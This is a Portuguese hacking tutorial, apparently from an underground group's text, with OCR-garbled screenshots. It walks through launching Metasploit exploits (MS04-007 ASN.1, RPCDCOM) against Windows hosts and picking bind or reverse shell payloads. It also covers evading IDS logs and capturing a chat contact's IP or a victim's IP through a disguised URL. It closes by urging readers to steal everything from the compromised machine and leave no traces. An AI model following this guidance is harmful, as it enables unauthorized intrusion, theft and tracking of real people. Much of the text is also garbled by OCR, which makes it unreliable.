este excelente programa que faz tudo isso para vocé e ainda por cima possui uma GUI - Graphical
User Interface (interface grafica) e também possui um console pra quem gostar do lado obscuro por
assim dizer dos programas, estou me referindo ao Metasploit Frameork, atualmente na versao 3.0,
para usa-lo basta colocar o IP do alvo e clicar em Launch Exploit (Lancar Exploit) e esperar o Shell
(interpretador de comandos). Simples ndo acha? O metasploit ¢ de longe a melhor ferramenta para
testar a seguranga de sua rede, recomendo que vocé utilize essa ferramenta sempre (antes que os
caras das trevas facam isso por vocé).

Abaixo vocé vera a interface principal do Metasploit, repare a utilizacdo do browser:

.-HulupluiLFrmw_-u ebtmlwlu 3.0 - Microsalt Internet Explorsr t’+ ";l’ = ﬁ!lﬂ
[ Arquivo  Edtar Exibir  Favorkos  Ferramsrfas  ajuda .“""
A E b | -ﬂ" i =Y .\_"-' i “ 1L A —
o Rd o] ] e s ) | = LT !
| Enderegs [&] teto://127.0.0.1:55555 = B3 |uns
] Explabs b Auriisies @ Paylosds BB Conscie | Sessions 5 Abouk

| &] candluida T [ et

r{,‘!niciari = Mtasploit 3 || £ ] Metasploit Framewor._, B i_ﬁ'!} WE (g ooeze
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Vou demonstrar apenas as opgdes basicas do mesmo, ndo vou falar sobre a op¢do 'Auxiliares' e nem
sobre as Otimas ferramentas que acompanham o mesmo, gostaria que vocé fugasse um pouco nesta
ferramenta, por hora apenas irei demonstrar o suficiente para se explorar alguma falha com esse
programa usando a sua GUI, mas para vocé que quer se aprofundar mais, ndo se preocupe porque ¢
muito facil achar materiais sobre o Metasploit na Internet, quer moleza vai sentar no pudim, vou dar
um pedago do pudim agora o resto vocé vai ter que conseguir sozinho. Logo apos a execu¢do do
mesmo vocé tera a tela acima e terd uma barra de ferramentas com algumas opgdes na parte
superior da janela, tais como:

“@ E:xplaits '“-1> Buxiiaries @ Payloads = Console ! Sessions 8! about

Como havia falado antes, apenas me empenharei em explicar as opgdes basicas do metasploit, ou
seja, a opcao principal (Exploits) da barra de menu. Obviamente em Exploits vocé terd uma lista
com todos os exploits disponiveis na versao 3.0, existe nada mais nada menos que 176 exploits -
104 payloads 17 encoders - 5 nops e 30 aux, ndo sabe o que ¢ isso? Nao se preocupe com isso
agora, pois vocé tera muito estudo pela frente, agora vou explicar o suficiente para se invadir um
sistema utilizando esta ferramenta. Continuando, vocé verd algo parecido com este screenshot
abaixo:

Availahle Bxploits (3)

SEARCH| |

Showing all modules

3CTRpSve TFTP Long Mode Buffer Overflow &

This module exploits 3 stack overflow in 3CTRpSYe 2.0.1. By sending a specially crafted packet with an
overly long mode field, a rermote attacker could overflow a buffer and execute arbitrary code on the
system.

3Com 3CDaemon 2.0 FTP Username Overflow

This module exploits a vulnerability in the 3Com 3CDaemon FTP semrice. This package is being
distributed from the 3Com web site and iz recommended in numerous support documents, This
module uses the USER command to trigger the ove Mow,

IRll Tribmem A i A O am Do ar Cuemefl s k'

Como vocé pode notar, abaixo de Showing all modules — exibindo todos os modulos, temos 0 nome
do exploit em negrito e abaixo temos uma descri¢cdo da falha explicando como e porque ela ocorre.
Ao lado direito temos o simbolo do sistema operacional vulneravel a essa falha, caso vocé ndo saiba
pata vidas de inglés é s6 copiar o texto que vocé quer e ir 14 do google mais necessariamente em
ferramentas de idioma e traduzir o texto, lembrando que nao fica muito perfeito, mas da pra vocé
entender bastante, afinal de contas o texto vai ser traduzido por uma maquina e elas costumam ser
burras, normalmente vocé vai se deparar com alguns erros de concordancia, mas acredito na sua
capacidade de interpretacao.

Em SEARCH colocamos o nome do exploit que desejamos para explorar uma falha que
encontramos com a ajuda de algum scanner de vulnerabilidade no sistema fulano de tal,
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automaticamente ele ird procurar em seu banco de dados pela palavra que vocé forneceu a ele e ira
exibir os resultados em poucos segundos, caso o exploit exista em seu banco de dados sera exibida a
mensagem: Matched numero de modulos (exploits que coincidem como o nome fornecido a ele)
modules for term Nome do Exploit, como demonstro com este screenshot:

Available Exploiis (30

SEARCH | ASH.1 library

Matched 1 modules for term ASN. T library

Microsoft ASMN.1 Library Bitstring Heap Overflow i

This is an exploit for & previously undisclosed vulnerahility in the bit string decading code in the
Microsoft ASM library. This valnerability is not related to the bit string vulnerahbility described in eEyve
advisory ADZ0040210-2. Both wulnerabilities were fiked in the MS04-007 patch. You are only allowed
one attempt with this vulnerability. If the pavload fails to execute, the LSASS system service will crash
and the target system will automatically reboot itself in B0 seconds. If the payload succeeeds, the
gystern will no longer be able 1o process authentication requests, demving all atlermpts to login thraugh
SMB or at the consaole. A reboot |5 required to restore proper functioning of an explolted systerm. This
exploit has been successtully tested with the win3d 2 reverse_tcp payloads, however a few problems
wiare encounted when using the equivalent bind payloads. Your mileage may vary,

Como vocé pode v€ acima, ele procurou em seu banco de dados pela palavra ASN.1 library que ¢
uma das muitas vulnerabilidades que encontrei no sistema que varri, usei um dos meus scanners de
vulnerabilidades favorito chamado nessus que demonstrarei a utilizagdo também basica em outro
texto, pois 0 mesmo me retorna um relatério muito detalhado sobre o alvo, abaixo esta um trecho do
relatorio que ele me forneceu apos o scan:

K Synopsis

tricrosoft-ds

Arbitrary code can be executed on the remote host.
(44 Jtep)

Diescription :

The remote Windows host has a A3 1 bbrary which 12 vulnerable to a
flaw which could allow an attacker to execute arbitrary code on this host

To explott thes Baw, an attacker would need to send a specially crafted
ASM 1 encoded packet with tnpropetly advertised lengths,

Thez parncular check sent a malformed MTLW packet and determined that
the remote host is not patched,

O nessus me retornou que no sistema varrido existe a biblioteca ASN do qual ¢ vulneravel a
Overflow e um atacante pode executar um codigo arbitrario neste sistema (tendo o devido exploit),
procurei no metasploit a palavra ASN.1 library que ¢ o nome da biblioteca que ¢ vulneravel e ele
me retornou o nome completo desta falha, o tipo de falha, informagdes a respeito do nao
funcionamento do exploit e uma longa e detalhada descricdo de porque esta falha ocorre.
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Ja sabendo que o metasploit possui um exploit para explorar essa falha agora fica mais facil,
bastando clicar no link Microsoft ASN.1 Library Bitstring Heap Overflow que ¢ o nome da falha,
vocé sera redirecionado para uma tela como essa:

Microsol ASHA Library Bilsking Heap Ovarflow (7) =

Microsoft ASK.1 Library Bitstring Heap Overflow

Thiz iz an exploit for a previously undisclosed yulnerability in the bit string decoding code in the Microsoft ASM. T library, This
wulnzrability is not related to the b string wilnerabildy descnbed in eEve advizory ADZD0£0210-2. Both vulnarabilifies were fixed in
the BAS04-007 patch,

You are anly allowsd one attempt with this wilnerabildy. f the payload fails {0 execuie, the LSASS system semice will crash and the
targal system will automatically reboal itsell in B0 seconds. Il the payload succeeeds, the systerm will no longer be abla o process
authertication requests, denying all atternpts to login through SMB or 3t the conscle. A reboot is required fo restore proper
functioning of an exploded sysiem. This explod has been successfully testad with the winZ2 ireverse_tcp payloads, however a few
problems were encounted whan using the equivalent bind payloads. Your milsage may vary

This module (wI571) was provided by Solar Eclipse, under the GMNU Public License +2.0,

elecl a target lo continue:

o Windows 2000 SP2.5P4 + Windows XP SPIZI-SP!

External references:

o hitp: e securiyfocus corn'bid/@E633
o hitp. s, phreedom. orgfsolarezpleitsimsasni-bitstong’ -

Sabendo que o sistema operacional da maquina alvo ¢ Windows pelo scan e pelas vulnerabilidades
que vocé encontrar, pois vocé encontrard muitas falhas que s6 existem para Windows, precisamos
saber agora qual € o pacote de servigo do sistema alvo, para definirmos o pacote de servigo temos
que analisar o resultado do scan que também exibe essas informagoes.

Sabendo qual o pacote de servigo da maquina, selecione o alvo, ou seja, o nome do sistema
operacional e o pacote de servico do mesmo, também percebam que abaixo de Select a target to
continue (Selecione um alvo para continuar), existe uma lista sobre os sistemas e os pacotes de
servico que sdo vulneraveis a essa falha, neste caso os sistemas vulneraveis a essa falha sao:
Windows 2000 SP2-SP4 e Windows XP SP0.SP1, caso os scanners que vocé utilize ndo lhe
fornecam com precisdo ou mesmo nao lhe fornegam esta informagao, tente usar varios scanners e
cruzar as informagdes obtidas de cada um para vocé poder se calcar em uma informacao concreta,

mas se mesmo assim ndo funcionar € ambos os resultados dos scans ndo combinarem € SO ir
lancando os exploits utilizando todos pacotes de servigo e sistemas vulneraveis disponiveis.

Importante: apenas utilize esses scanners de vulnerabilidades se a vitima for leiga no assunto e se
for um administrador incompetente, porque se o mesmo for responsavel e merecer o nome:
"Administrador de rede", ele ird olhar os logs com freqiiéncia e a maioria desses scanners de
vulnerabilidades sdao de facil detec¢dao pelos IDSs e vai esta registrado o seu IP original nos logs,
mas existem maneiras de se burlar um IDS com uma técnica conhecida como Débora que
infelizmente ndo se aplica a scanners, esta técnica consiste na utilizacdo de uma passlist com apenas
um login e senha valido a cada 10 que ndo sdo, a menos que vocé inclua uma técnica parecida com
a Débora nos seus scanners (se for open source), coisa que ¢ extremamente dificil, ndo tente sai por
ai varrendo sistemas de profissionais pois os IDSs de hoje sdo bastante funcionais.

Existe muitas maneiras de se burlar um IDS, em outro texto mostrarei o que um de meus maiores
idolos (BSDaemon) ¢ capaz de fazer =)

Como voce ja deve ter percebido neste exploit que escolhi ndo precisamos definir um pacote de
servigo especifico porque o link para o exploit e o proprio exploit em si ¢ 0 mesmo para todos os
sistemas e pacotes de servico “que sdo vulneraveis a falha referente”, isso ¢ chamado de falha
universal ou seja, que atinge todos os sistemas e pacotes de servico referente a0 mesmo
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sem necessitar de uma sele¢do especifica, lembrando que:

As recomendagodes que dei s3o apenas para o caso de vocé ter selecionado um exploit que necessite
que vocé especifique um sistema e um pacote de servigo em especial, mas nao se aplica a este
exemplo, pois temos um mesmo exploit para ambos os sistemas e SPs.

Vamos para o antepenultimo passo que ¢ o de definir qual o payload ou Shellcode “como preferir”,
vamos injetar no sistema alvo. Payloads ou shellcodes sdo codigos que o metasploit injeta no
sistema alvo para retornar o prompt ou Shell de comandos de volta, os dados que um pacote leva
para um determinado host ¢ chamado de payload e os dados que conterdo os codigos para a
exploragdo da falha ¢ chamado de Shellcode. Como vocé pode ver existem varios payloads para
voceé injetar no sistema alvo:

Microsoft ASH.1 Library Bitstring Heap Overflow

Select payload for target Windows 2000 SP2.5P4 + Windows XP SPO-SP1:

CURRENT CONFIGURATION - CHANGE TARGET

EXPLOIT windowsfsmbim=04_ 007 _killbill
TARGET Windows 2000 SP2-3P4 + Windows XP SP0-SP1
NAME DESCRIPTION
genencishell_bind tep Listen for a connection and spawn a cormmand shell
ganencishell reverse tocp Connect back to attacker and spawn a command shell
n fatdduser Create a new user and add them to local administration group

Lizten for 2 connection, Create a new user and add them to local
administration groug

Use an established connection, Create a new user and add them to local
administration group

Tunnel cormemnication mar HTTRP nsing IF & Craata a naa iser :mﬂl:.uﬁﬂ_rﬂ
[

! i

windowsladduzenfind tag

4]

No metasploit existem payloads para as mais diversas fungdes, o uso mais simples de um payload ¢é
o generic/Shell bind_tcp ou simplesmente bind que se injeta na memoria, abre uma porta TCP para
estabelecer a conexdo e lhe retorna um Shell, mas como todo programa fantastico ele ndo tem
apenas este payload, o metasploit também possui payloads de conexdo reversa (que ao invés de
vocé se conectar no alvo, o alvo € que se conecta em vocé), de injecdo de dll como por exemplo a
do VNC, que consiste em langar o payload para o mesmo injetar a dll do VNC tanto com bind Shell
quanto com reverse shell na memoria do sistema alvo e apds a injecdo o atacante pode tanto
visualizar quanto manipular o sistema alvo como se estivesse sentado na frente do mesmo, pode
tunelar uma conexao, entre varias outras boas opg¢des, agora vamos finalmente para as ultimas duas
opgoes até lancarmos o exploit:

Microsoft ASPA Library Bitstning Heap Overflow (2}
CURRENT CONFIGURATION - CHANGE PAYLOAD

EXPLOIT windowsismbdmaDd_007_killsil '
TARGET Windows 2000 SP2-5PY + Windows XF SF0-5P1
PAYLOAD genancshell_bind_tcp

STANDARD OPTIONS
PROTO Reguired
Which protocal o wse: hitp ar smb (Type: string) Egl]
RHOST Raquired
The target address (type address) 9z 1661 3
RFORT Raguired
Sat the SME service part (typs: integar) 445
LPORT Riequired
Thee local port (type: past) EEEE]

|« Launch Exploit.. |
ADVANCED OPTIGNS i
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A proxima tela que aparecer serd a do painel de configuragdes, em PROTO vocé devera colocar o
protocolo que sera utilizado, o padrdo ¢ o smb, o smb — Server Message Block ¢ um sistema de
troca de mensagem desenvolvido pela IBM para uso no seu protocolo NetBIOS e depois foi
aprimorado pela Microsoft para ser utilizado no sistema de compartilhamento do Windows, ndo
confunda com o samba, "APESAR DA SIGLA SER MUITO USADA PARA SE REFERIR AO
MESMO".

Em RHOST — Host remoto, vocé devera colocar o endereco IP do alvo. Em RPORT - Porta remota,
vocé terd que colocar o nimero da porta que o Shellcode ira tentar abrir no sistema remoto para
estabelecer uma conexao, o numero da porta remota padrdo € a 445 e finalmente em LPORT vocé
terd que colocar a porta local que recebera a conexdo, a padrao ¢ a 4444, deixe todas as opgdes
padrdes inserindo apenas o endereco IP do alvo, lembrando que:

Nao existem apenas essas opgdes, existem muitas outras para o pessoal avangado, mas para
executar um exploit em um sistema que estd pedindo para ser penetrado ¢ o suficiente, deixo com
vocé a responsabilidade de aprender as opgdes avancgadas, agora vamos nos aprofundar mais nas
opcdes basicas de configuragdes, mais necessariamente nas portas € conexoes.

A porta remota vai ser a que o bind shell vai abrir no sistema remoto, para estabelecer uma conexao
seria necessario uma porta em escuta no meu sistema local s6 esperando a conexao do host remoto,
executei o exploit Microsoft RPCDCOM em um alvo que também ¢ da minha rede interna apenas
para demonstrar com a ajuda do comando netstat o que eu estou falando:

CAWINDOWS, Srstem 300 d exe - "CADOCUInents aivd Settiig s\Administid on\DesKopAEdploit 0 mellbord... = O x

ﬁ'\‘“J'\ﬂnuumPnr‘ ind Settings~Administrador DesktopsExploits~0 melhor dos melho
. =d 192 _168.1.3 =t 1
p ilociP2.usl:. Security
[+] Resolving hﬂut
[+] Done.
Target: [HindP-Universall:i92_ 468.41.3:135. Bindshell:&666, RET=[Bx01686813%d41
[+] Connected to bhindshell..

—— bling bling

icrosoft Windows P [vepsfo 5.1.26H0]
Copyright 1985-2881 Hicrosoft Cowrp.

CoMWINDOWS sz ysten3Z notepad
otepad

ENHINDOWS s ystend2 >

Como vocé pode ver acima executei o exploit RPCDCOM no alvo 192.168.1.3 utilizando o payload
shell bind na porta 666 (Bindshell:666), este exploit também existe no metasploit, mas utilizei um
executavel a parte para a demonstracdo, apds obter sucesso ao executar o exploit usei o comando
notepad para confirmar a penetragao no sistema alvo, dada a confirmagao usei o comando netstat no
meu sistema local, o programa netstat serve para nos mostrar todas as conexdes que estdo ativas
entre a nossa maquina local e servidores externos, usei a sintaxe netstat —a —n, com esta sintaxe eu
disse para o programa me mostrar o status das minhas portas (—a) e converter nomes de host “DNS”
em enderecos IP (-n), obtive o seguinte resultado:
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_ CAWINDOW S\ Sy stem 32cmid exe -0 x

Cisinetstat —a —n
Conexbes ativas

Froto Enderec i Endereco externo

B.8.6. B.6.8.8:8 LISTEMIHG
2 LISTEHMIHG
LISTEMIMNG
LISTEMIMNG
LISTEMIHG
LISTEMI HG
LISTEMIMG
LISTEMIHG
LISTEMIHNG
LISTEMIMNG
LISTEMIHG
LISTEMIHG
LISTEMIMG
LISTEHIHNG
ESTABLISHED
LISTEMI MG
LISTEMIHG
LISTEHMIHG
LISTEMING

=

=
'

o
=
1

@
@
a
3]
@
M.
1]
[5]
5]
a
1

=1

Rl DS
1 L}
~ SN IEIED

—"
o
b
'

EERIEIAIEEERIEIERIE
EEREEIZAZAREEEREER

Neste relatorio eu posso ver que na guia Estado que existe uma conexdo estabelecida
(ESTABLISHED) entre o meu host local 192.168.1.1 na porta local 1041 e o host remoto
192.168.1.3 na porta externa 666 que ¢ a porta que o payload bind do exploit RPCDOM abriu no
sistema alvo, perceba também que os enderecos IP que estabelecerdo uma conexao sdo de rede local
e também repare que todas as outras portas no meu sistema local estdo em escuta (LISTENING)
esperando uma conexdo, em Proto — Protocolo, vocé pode ver que o utilizado ¢ o TCP —
Trasmission Control Protocol — protocolo de controle de transmissado, este protocolo € uma espécie
de protocolo mae que abriga todos os outros como por exemplo: FTP, HTTP, etc.

Em Endereco local vocé vera o seu IP e a porta que esta sendo usada para a conexdo, se eu nao
especificasse a op¢do —n eu ia ver o nome das maquinas e ndo os IPs, em Endereco externo vocé
verd o IP do host remoto ou seja, quem estabeleceu uma conexdo na sua maquina e a porta que esta
recebendo a conexdo no computador dele , entdo pense comigo:

O netstat ¢ um dos melhores métodos para descobrir se tem alguém conectado sem autoriza¢ao no
seu computador, quando se abre o browser para acessar a Internet vocé vai se conectar no host
remoto na porta 80 (ndo ¢ regra) que ¢ a porta de servidor de web e vai estabelecer uma conexao
com o site usando o protocolo HTTP que ¢ um dos protocolos contidos dentro do protocolo TCP, ja
que ele ¢ um dos protocolos que existem dentro do TCP entdo em Proto vocé ndo vera o HTTP e
sim o que abriga o mesmo, o TCP, veja como ¢ o resultado do netstat quando vocé esta conectado a
um site:

C:\>netstat —a
Conexdes ativas

Proto Endereco local Endereco externo Estado
TCP Violator:1050 site.com:http ESTABLISHED

Usel a opc¢ao —a para o netstat me mostrar todas as conexdes e as portas em escuta do meu sistema,
ele me retornou o resultado acima, note que sé peguei a linha principal do relatério, que é a que me
mostra o nome da minha maquina “Violator” e o site que estabeleceu uma conexdao comigo,
também perceba que ao invés de me mostrar o nimero da porta remota que foi utilizada para o
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estabelecimento da conexdo, o netstat me mostrou o nome do protocolo que estd sendo utilizado
naquela porta (80), que neste caso ¢ o HTTP, isso porque eu ndo quis que ele me mostrasse o
numero da porta, mas se por um acaso eu quiser saber o endereco IP do site € o numero da porta do
protocolo que esta sendo utilizado para o estabelecimento da conexao com este site eu uso a sintaxe:

C:\>netstat —n que ele me mostrard um resultado diferente:

Conexdes ativas

Proto  Endereco local Endereco externo Estado
TCP  184.18.64.127:1049  10.249.147.8:80 ESTABLISHED

Usei enderegos IPs ficticios para representar o endereco local e externo mas as portas sdo as
originais do meu teste, para vocé entender bem sobre conexdes serd necessario que vocé conheca
todos os status de conexdo, existem muitos outros status de conexdo tais como: CLOSE WAIT,
FIN_ WAIT 2 etc. ESTABLISHED e LISTENING sao apenas dois dos muitos que existem, cabe a
voce pesquisar sobre todos. J4 ia me esquecendo de mencionar:

Quando vocé estad teclando com um amigo no MSN vocé estabelece uma conexao IP com IP, isso
significa que, se vocé quiser pegar o IP daquele cara chato basta vocé abrir o shell e digitar o
comando netstat —an e como ja havia falado antes, vocé vai ver todas as conexdes estabelecidas no
seu computador, isso inclui também o enderego IP do cara chato. Se tiver dificil achar o P do cara
feche todas as paginas e tudo que possa estabelecer uma conexao com voce, depois mande um
arquivo, de preferéncia os mais pesados que demoram para serem enviados (estou falando de envio
de arquivos por MSN) para o mané, como musicas grandes ou até mesmo videos, pois a intencao ¢
demorar no envio, assim voce poderd idenficiar a maquina dele pelas flags que as maquinas
emitem, ou até mesmo pode estabeler uma conexdo usando VOIP, fazendo isso garanto como vocé
vai ver o IP do camarada.

Com o netstat ainda existe a possibilidade de filtrar buscas por conexdes nas sintaxes de uso,
exemplo:

A opg¢do '-p' define um protocolo
netstat -anp tcp -> Exibe apenas status das conexdes que utilizam TCP

netstat -anp udp -> Exibe status do protocolo UDP

Buscando portas e servicos especificos

Est4 sintaxe abaixo procura a palavra telnet no relatorio (Repare que ndo utilizo a op¢do -n, por
motivos obvios)

netstat -ap tcp | find "telnet"

Esta procura pela 'porta' do servigo telnet - '23'

netstat -anp tcp | find "23"
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Proto  Endereco local Endereco externo Estado
TCP 192.168.1.1:23 192.168.1.2:1125 ESTABLISHED

Nesse exemplo acima podemos ver que o computador de enderego IP com final 2 estabeleceu uma
conexao no meu computador de IP 192.168.1.1, ou seja, muito provavelmente alguem entrou na
minha maquina por telnet, por causa da porta 23. Se ver algo estabelecido nessa porta, fique
assustado rsrsrs. Para dificultar um pouco a entrada de invasores por telnet fiz esse escript:

X | [EE— &}Wn{lomf; XP Professional

T o Q ¥al
eus di s LA R
-8 Telnet 192.168.1.1 i

[FORI=—————————— e e =[FOX ]

essional

——®——— Login Duplo vl.B ——x—

+BY +

MG 6_Bl4ck?_FBx6

I love lus=

Senha gque foi usada

Oiha gue legal. temos um
nome de usuario rsrsrsr.

Link: ScriptLogon.rar
Senha: myloveluz

Para saber se estamos sendo vitimas de synflood utilizando o netstat basta reparar nesse screen shot
abaixo:

C:\netstat -a

Conexfes ativas

Proto Ender local Endereco externo Eztado
TCP B.8.8.8: -a.8. LISTEMIHNG
TCP BH.8.8. -B8.8.8: LISTENIHG
TCP h . |

TCP .A. -A.8.8:8 E
TCP B. . -H.B. LISTENIHG
TGP 2: 443 9.9.8:0 LISTENING
TCP i 1.8.8. LISTENIHG
TCP i - d.6.6 LISTENING
TICP

TCP

TCP

ICP

TCP

TCP

TGP

TGP

uDP

unp

UDP

unp .

unp -B.B.8:1826

UDP .B.68.8:1827

unp -H.8.8:1828
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file:///mnt/hda1/---=%5B Mais/Hacking and more/My Web Sites/hunterhacker/web51.hosting.xpg.com.br/xpg2.0/0/h/u/hunterhacker/ScriptLogon.rar

Repare na flag SYN RECEIVED abaixo de 'Estado’, repare que todos os pacotes sdo direcionados a
porta telnet do meu computador local (192.168.139.129), mas existe algo estranho ai.... hum... O
que poderia ser isso? Simples, vejam que o cara ta usando spoofing porque existem supostamente
varios IPs me enviandos SYNs, mas na verdade sé existe 1.

Baixem esse font e analisem o mesmo, verdao que isso ¢ possivel:
Link:

Agora que ja entendeu para que serve duas das opgdes de configuracdes basicas de alvo no
metasploit que sdo:

Porta local e porta remota, vamos finalmente executar o exploit e esperar o shell de comandos do
alvo.

Com suas devidas configuragdes “basicas” de alvo configuradas (?... Configuragdes configuradas?
rsrs 'SETADAS' ¢ melhor ehehe), vamos agora a execugdo do exploit, clicando em Launch exploit
vocé estard mandando o metasploit injetar o payload que selecionou, no sistema alvo, no meu caso
o payload que utilizei foi o bind shell, caso queira mudar o payload basta clicar em change payload
— mudar payload e escolher outro, obtendo sucesso na execucao do exploit vocé vera algo parecido
com a tela abaixo:

Metasplolt Exmplolt (2

d bind handler

Obtive sucesso na execucdo do exploit, o interpretador de comandos do computador alvo veio de
bandeja para mim, agora € s iniciar a brincadeira de espionagem. Nessas horas que vocé nao pode
ser ético, pegue tudo que lhe interessar e saia sem deixar rastros ;-)

[1's

Ah! Eu amo a Luzinha rsrs.

by

6_Bl4ck9 f0x6 - Viper Corp Group
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----- C4p1Tul0 03

[+] X X +]
Nogao basica do Emperial Scanner 1.0
[+] X X+]

O Emperial Scanner eh um simples e pratico scanner de portas que possui algumas outras utilidades
(Por ser simples, pratico e cru, talvez seja o que o diferencia daqueles scanners de setup), eu
implementei nele uma forte ferramenta de enumeracao de servicos na qual exibe banners dos
servicos rodando no host remoto e implementei um servidor web falso ("Julgando pela porta”
apenas) para capturar enderecos IP e outras informag¢des tendo como base a conexdo a porta default
em negociagdes HTTP. Estou implementando outra utilidade bastante Util de footprint, http
footprint para ser mais exato, a ferramenta ja eh capaz de obter IP, mas futuramente sera capaz de
obter varias outras informacdes, como versao do browser, idioma do sistema e diversas informacgdes
que sdo enviadas por browsers em uma negociagdo HTTP propriamente dita ((Aguardem)).

Footprint eh toda a base de um teste de penetragdo (pentest), pois como "falei" dentre essas
informacdes enviadas por browsers antes do estabelecimento de conexdo, podem inclusive ser
enviados o idioma do sistema, tipo de sistema, versdo do browser e varias outras informagdes que se
soubermos usar, serdo de grande valia, como nos permitir a utilizacdo de um exploit feito apenas
para uma determinada versdao do windows, por exemplo. Exemplo: Versao em inglés com Service
Pack 1. Ou ate exploits para determinadas versdes “de browsers”, ambas informag¢des nos sao
fornecidas por meio de ferramentas (Como meu scanner futuramente ) através do uso de footprint,
informagdes essas que podem ser concretas ou falsas, a ultima se tratando de uma requisi¢ao falsa
"Enviada intencionalmente" por nossa vitima (Se a mesma desconfiar que a URL enviada por nos,
se trata na verdade de um ataque).

ps: Essa ultima utilidade apesar de envolver conexdo pode ser chamada de footprint pelo simples
fato de que ndo vai levantar nenhum tipo de suspeita. Vamos esclarecer os fatos pois ndo quero que
o pessoal da “seguranca” me chame de kiddie por ai.

1 - Footprint:

Técnica que consiste em procurar informagdes sobre o host em varios lugares, tais como jornais,
revistas, e etc. Procurar por todas as versdes de paginas dez da criagao do site, procurar informagdes
no whois, registro.br (No caso do “Brasil”), saber em que pais o servidor do site esta’ hospedado
através do uso de ferramentas como o ‘VisualRoute’, procurar comentarios nas paginas para saber
pos programas que editaram tais paginas e apos isso podermos deduzir qual a plataforma que este
server “supostamente” esta’ rodando sem ser necessario a utilizagdo de scanners como o nmap que
dispdem de utilidades de finger printing (Impressao digital) , etc. Eh aqui que entra um fato
interessante € que costuma confundir muito os novatos em pentest (Como eu era ha 6 meses), a
questdo de termos corretos. Vamos l4...

Toda "agao ofensiva" para levantar informagoes sobre a vitima, como envolvimento de CONEXAO
DIRETA por meios digamos, “suspeitos”, como estabelecimento de conexdo em um servidor de
SMTP e depois de alguns segundo FTP e etc, deixa de ser footprint e passa a ser ENUMERACAO
(Assim eh tratado como tal pelos adminstradores da rede varrida , que deverao tomar as devidas
providencias, sem duvida), pode ser de servigos, usuarios (Exemplo: Através de NetBIOS), ou
qualquer coisa que envolva conexao direita nessas circunstancias.
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Vocé deve estar dizendo:

- Mas espera ai! Se vocé vai deixar uma porta em listen no seu sistema e vai mandar uma URL falsa
para a vitima e ela vai se “conectar” em voc€, € voc€ apds isso vai obter diversas informagdes sobre
ela, isso ndo eh enumeracao? Enumeragdo nao envolve “conexao” por meios suspeitos?

Eu lhe respondo que s6 deixa de ser footprint e passa a ser enumeragdo quando envolve:

Citar: CONEXAO DIRETA por meios "suspeitos", como estabelecimento de conexdo em um
servidor de SMTP, FTP ¢ etc.

Reply: Por meios "suspeitos"

Neste caso poderiamos também chamar de footprint se estamos falando de usudrios leigos que nao
entendem nada de nada, que sdo vitimas de elites, elites na informagdo para ser mais especifico.
Infelizmente existem, mas estou aqui para combater a ignorancia por parte deles []'s ; P

O Emperial scanner eh uma ferramenta feita para pentesters que ndo se preocupam muito em
levantar suspeitas, ou porque sabem que na rede a ser testada nao existe ninguem compotente a
ponto de chercar logs, ou por pura arrogancia. Ela eh uma ferramenta que alem de possuir utilidades
de enumeracdo de portas, possui uma vantagem sobre outros scanners como o languard versao 7.x*
por exemplo, pois este padroniza em seu database informagdes sobre associagdes de portas padrdes,
assim "ndo" lhe mostrando o servigos “reais” que estao rodando no host, mas ja que o Emperial tem
o poder de lhes mostrar o banner do servi¢o obtendo os mesmo em tempo real, ou seja, mesmo se o
servico estiver rodando sobre diferentes portas (na tentativa de enganar invasores mais
inexperientes), vocé ainda obtera informacdes dos tais servigos nas tais portas, e isso alem de
enumerac¢do de portas se chama enumeragdo de servigos pela utilidade de recebimento de banner (,
mas em scanners inuteis como o languard podemos apenas dizer que se trata de enumeracao de
portas), no qual obtemos a versdo do servico e se formos espertos podemos determinar o idioma do
sistema baseando-se pelo banner, ou pelo menos poderiamos saber em que idioma a nossa vitima
interpreta as coisas

@

Aqui segue um fato interessante e que me chamou a atencdo, se quiser editar MM, tem minha total
aprovagao:

Ha pouco tempo atrds o nessus ndo oferecia a vantagem de mostrar banners dos servigos, mas
depois que eu postei meu scanner no ISTF, as caras apareceram que um "pequeno plugin" capaz de
fazer isso, e meu post misteriosamente desapareceu do férum, isso eh: Eu procurei onde eu havia
postado e ele desapareceu. Isso pode ser apenas impressao minha, mas... 14 vai:

Porque ao invés de me plagiar elas ndo me contratam? Assim ndo preciso mais proliferar o mau por
meios eletronicos...

Isso pode até ser um delirio de adolescente (Ninguém vai acreditar em mim mesmo), mas nao custa
nada lhes informar esse fato ocorrido, coincidéncia? Mais uma coincidéncia?
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Vamos agora a exemplos de utilizagdo de minha ferramenta que pretendo implementar varias outras
utilidades destruidoras:

OBS: Ele ainda nao converte nomes de hosts “por enquanto”, ou seja, use IP.

Sua sintaxe basica eh bem simples:

fprintf (stderr, "Uso: %s <ip> <porta_inicial>\

<porta_final>\n\n", argv[0]);

AWINDOWS\System32\cmd. exe [x

[11]1 Protegido contra Stack Overf low
EmperiallScanneR]

BY
6_Bl4ck?_ fBxb

Forta [22]1 Aberta <—
Bannep:

220—Microzoft FTP Service

oS eE- e - PR
Uiper Corp
Jof-3ef-3eE-oE - JeE-Jof-JeE e e e -Jef-Jef-JeE-eE e Ie-

Underground forever
228 e P S

Porta [231 Aberta <—
Bannep:
Zz 1@ l' zr 2"' z

Porta [24] fechada
Porta [25]1 Aberta <{—

Bannew:

220 Violator Microsoft ESMIP MAIL Service. Uersion: 6.08.2600.1186 ready at Thu, 31 Jul

C:xDocuments and Settings-David-Desktop“Emperiais~EmperiallScanneR] vi.@>

A

Repare que encontrei o servigos FTP rodando na porta default do servigo SSH. Eu inseri na
ferramenta a opcdo de auto-verbose, mas sinta-se a-vontade para muda-la de acordo com suas
necessidades fazendo com que o Scanner “apenas exiba” portas (e conseqiientemente servigos)
abertas no host. Agora vamos a um exemplo de http footprint apenas para obtermos o endereco IP
de nossa vitima (pois nao terminei de implementar as outras funcionalidades, pois no momento
estou engajado ate o pescogo em varios projetos relacionados a ataques a inimigos de membros de
meu grupo).

C:“Documentsz and SettingssDavidsDesktop?" Emp_scan vl.B.exe" httpsfootprint_
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ci. Prompt de comando

HTTP FootPrint by 6_Bldck?_fBxb
Copuright 2006-2008 Uiper Corp.

EmperiallScanneR]
BY
6_Bl4ck?_fBx6
Porta 88 em Listening...
0 endereco IP [192.168.1.11 estabeleceun uma conexao na porta [BA]

Arguivo de log criado com sucessof

C:sDocuments and SettingssDavidsDezsktop>

Bom redirecionador de URL e totalmente gratuito: 4-ALL Redirection

Vale lembrar que este método eh perigoso, pois vocé vai estar mandando seu enderego IP, mesmo
ele estando disfarcado com alguma url falsa, isso eh "PERIGOSQO", pois significa que se a vitima
emitir um netstat ela pega teu IP apenas observando a flag ESTABLISHED abaixo de estado e vocé
